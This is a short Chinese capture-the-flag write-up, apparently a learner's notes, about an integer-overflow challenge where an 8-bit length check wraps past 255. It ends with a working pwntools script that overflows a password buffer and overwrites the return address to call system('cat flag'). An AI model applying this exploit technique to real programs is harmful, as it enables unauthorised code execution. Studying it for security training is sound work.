1.检查安全机制
我们ctrl+1 找到了system("cat flag")
不知道怎么使用
2.找到溢出点
注:
strcpy
:危险函数
unsigned __int8
最大只能到达255 可是我们read(。。。)远超过255。
数据类型范围
:https://docs.microsoft.com/zh-cn/previous-versions/s3f49ktz(v=vs.120)
利用思路:有点不理解整数溢出
1.发现v3
是8
位无符号整数,则最大只能是255
。
但是read
函数能读取的长度是0x199
,远大于255
,那就可以进行整型溢出,让passwd
的长度是 260
到264
就可以了。
2.我们将程序的返回地址覆盖为system("cat flag")
注:
帮助理解
EXP
from pwn import*
p = process('./int_overflow')
system_flag_addr = 0x804868B
p.recvuntil('choice:')
p.sendline("1")
p.recvuntil('username:\n')
p.sendline("tutu")
p.recvuntil('passwd:\n')
payload = 'A'*0x18 + p32(system_flag_addr)
payload = payload.ljust(262,'A') //这有点不理解
p.sendline(payload)
p.interactive()